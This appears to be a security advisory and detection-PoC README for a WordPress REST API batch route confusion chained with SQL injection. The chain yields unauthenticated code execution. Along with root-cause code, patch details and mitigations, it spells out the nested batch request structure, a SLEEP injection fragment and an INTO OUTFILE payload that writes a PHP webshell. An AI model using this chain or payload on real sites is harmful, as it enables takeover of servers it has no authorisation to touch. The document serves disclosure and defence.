## https://sploitus.com/exploit?id=3EBF671A-6ADD-50DE-8519-72D8FE4F829F
# WordPress REST API Batch Route Confusion + SQL Injection โ RCE
> **Pre-authentication, unauthenticated, no plugins required.**
> Works against a stock WordPress install via the REST API batch endpoint.
| | |
|---|---|
| **CVE** | `CVE-2026-63030` (route confusion โ RCE) + `CVE-2026-60137` (SQLi) |
| **GHSA** | [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) ยท [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf) |
| **Discoverer** | Adam Kues โ Assetnote / Searchlight Cyber (dubbed **"wp2shell"**) |
| **Affected** | WordPress **6.9.0 โ 6.9.4**, **7.0.0 โ 7.0.1** (full RCE chain) ยท **6.8.0 โ 6.8.5** (SQLi only) |
| **Patched** | **6.8.6**, **6.9.5**, **7.0.2**, **7.1-beta2** |
| **CVSS** | Critical (RCE chain) / Moderate (SQLi standalone) |
| **Researcher blog** | |
---
## 1. Overview
Two bugs in WordPress core, chainable into **unauthenticated remote code
execution**:
1. **SQL injection** in `WP_Query` when `author__not_in` is a string
rather than an array โ the `is_array()` sanitisation guard is skipped
and the raw value is interpolated into a `NOT IN (...)` clause.
2. **Batch route confusion** in `WP_REST_Server::serve_batch_request_v1()`
โ `WP_Error` sub-requests are pushed into `$validation[]` but not
`$matches[]`, causing a +1 index shift. Sub-request *i* ends up being
dispatched with sub-request *i+1*'s handler.
Neither bug alone is enough: the REST API sanitises `author_exclude`
(`type: array, items: integer`) before it reaches `WP_Query`, and the
batch endpoint rejects `GET` sub-requests (`enum: POST, PUT, PATCH,
DELETE`). Chaining them through a **double confusion** bypasses both
defences and reaches the SQLi unauthenticated.
## 2. Root Causes
### 2.1 SQL injection โ `src/wp-includes/class-wp-query.php` (CVE-2026-60137)
Vulnerable (6.9.4):
```php
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string โ skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
```
When `author__not_in` is a string the `is_array()` branch is skipped;
`(array) "payload"` evaluates to `["payload"]`; `implode(',', ...)`
returns the raw string, which is interpolated straight into the SQL.
**Fix (6.9.5):** use `wp_parse_id_list()` which accepts any input shape
and returns a sanitised integer list.
### 2.2 Batch route confusion โ `src/wp-includes/rest-api/class-wp-rest-server.php` (CVE-2026-63030)
```php
// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// โ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop โ indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // โ off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
```
A single `WP_Error` sub-request (e.g. malformed path) at position 0
shifts every subsequent entry by one. Request *i* is then dispatched
with request *i+1*'s handler.
**Fix (6.9.5):** append `$matches[] = $single_request;` for the error
case as well. Additional hardening short-circuits `rest_api_loaded()` /
`serve_request()` while a dispatch is already in flight.
## 3. The Double-Confusion Chain
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ OUTER batch (POST /wp-json/batch/v1) โ
โ โ
โ [0] path = "http://" โ WP_Error, NOT in $matches โ
โ [1] path = "/wp/v2/categories" โ carries nested batch in body โ
โ body = { "name": "x", โ
โ "requests": [ INNER_BATCH ] } โ
โ Validated against categories โ "requests" field untouched โ
โ [2] path = "/batch/v1" โ batch handler โ shifts onto [1] โ
โ โ
โ Outer shift: request[1] dispatched with request[2]'s handler = โ
โ serve_batch_request_v1. The batch endpoint has NO โ
โ permission_callback โ fires unauthenticated. request[1]'s body โ
โ was validated against the *categories* route, so the nested โ
โ sub-requests were NEVER checked against the batch method enum โ โ
โ inner sub-requests may use GET. โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ INNER batch (processed inside serve_batch_request_v1) โ
โ โ
โ [0] path = "http://" โ WP_Error, NOT in $matches โ
โ [1] GET /wp/v2/categories โ
โ ?author_exclude= โ
โ Validated against categories โ author_exclude NOT sanitised โ
โ [2] GET /wp/v2/posts โ get_items handler โ shifts to [1]โ
โ โ
โ Inner shift: inner[1] dispatched with inner[2]'s handler = โ
โ WP_REST_Posts_Controller::get_items. The unsanitised string โ
โ author_exclude is mapped to author__not_in and passed to โ
โ WP_Query โ SQL INJECTION. โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
The resulting SQL fragment is:
```sql
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
```
`SLEEP(N)` fires once per matching post row, so the total delay is
roughly `N ร ` seconds.
### From SQLi to RCE ("wp2shell")
The SELECT-only injection (no stacked queries, `$wpdb` uses
`mysqli_query`) still yields RCE on typical LAMP stacks when the MySQL
user has `FILE` privilege โ which is the default on many shared hosters
and self-managed servers:
```sql
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
```
writes a PHP webshell into the web root, reachable at `/x.php`.
Alternative paths (no `FILE` privilege needed) include reading the
admin password hash via UNION/boolean blind SQLi and uploading a
malicious plugin through the authenticated admin UI.
## 4. Detection / PoC
```
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
```
The PoC performs **two non-destructive tests**:
| Test | Method | Safe? |
|------|--------|-------|
| **Route confusion** (CVE-2026-63030) | Structural โ verifies inner request[1] (categories) is dispatched with the posts handler by checking the response body for post-only fields | Yes |
| **SQLi** (CVE-2026-60137) | Time-based blind โ injects `SLEEP(N)` via `author_exclude` and measures latency vs. a benign baseline | Yes |
```bash
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
```
Example output against a vulnerable 6.9.4 instance:
```
[+] CONFIRMED โ inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (ฮ +9.02s)
[+] VULNERABLE โ response delayed by 9.0s (โ 3 post row(s) ร SLEEP(3)).
```
No delay / no structural confusion โ patched (6.8.6 / 6.9.5 / 7.0.2).
### Requirements
- Python โฅ 3.9
- `requests` (`pip install requests`)
## 5. Reproducing
The easiest way to reproduce is with the official Docker images (the
auto-updater will have patched most live instances within hours of
disclosure):
```bash
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode admin_email=admin@example.com \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
```
For the INTO OUTFILE โ RCE step, grant `FILE` privilege and ensure the
DB process can write to the web root (single-server LAMP, or a shared
volume in Docker):
```sql
GRANT FILE ON *.* TO 'wp'@'%';
```
## 6. Mitigation
1. **Update immediately** to **6.8.6 / 6.9.5 / 7.0.2** (or newer).
WordPress auto-applies minor/security releases by default
(`WP_AUTO_UPDATE_CORE`), so most live sites are already patched.
2. If you cannot update right now, block anonymous access to the batch
endpoint at the WAF / reverse-proxy level:
- `POST /wp-json/batch/v1`
- `POST /index.php?rest_route=/batch/v1`
3. Revoke `FILE` privilege from the WordPress DB user:
```sql
REVOKE FILE ON *.* FROM 'wp_user'@'%';
```
4. Ensure `secure_file_priv` is set (not empty):
```ini
secure_file_priv = /var/lib/mysql-files
```
## 7. Timeline
| Date | Event |
|------|-------|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 released |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf published |
| 2026-07-17 | Assetnote / Searchlight Cyber publishes "wp2shell" advisory + checker |
## 8. References
- WordPress advisories
-
-
- Discoverer write-up
-
- Patch diff (6.9.4 โ 6.9.5)
- `src/wp-includes/class-wp-query.php`
- `src/wp-includes/rest-api.php`
- `src/wp-includes/rest-api/class-wp-rest-server.php`
- Checker site
-
## 9. Responsible Disclosure
This repository contains only a **detection** PoC โ it uses time-based
blind SQLi and structural response inspection. It does **not** extract
data, write files, or attempt RCE. The vulnerability was already patched
and publicly disclosed by WordPress and the original researcher before
this code was published.
**Use only against systems you own or are authorised to test.**
## Licence
MIT โ see `LICENSE`.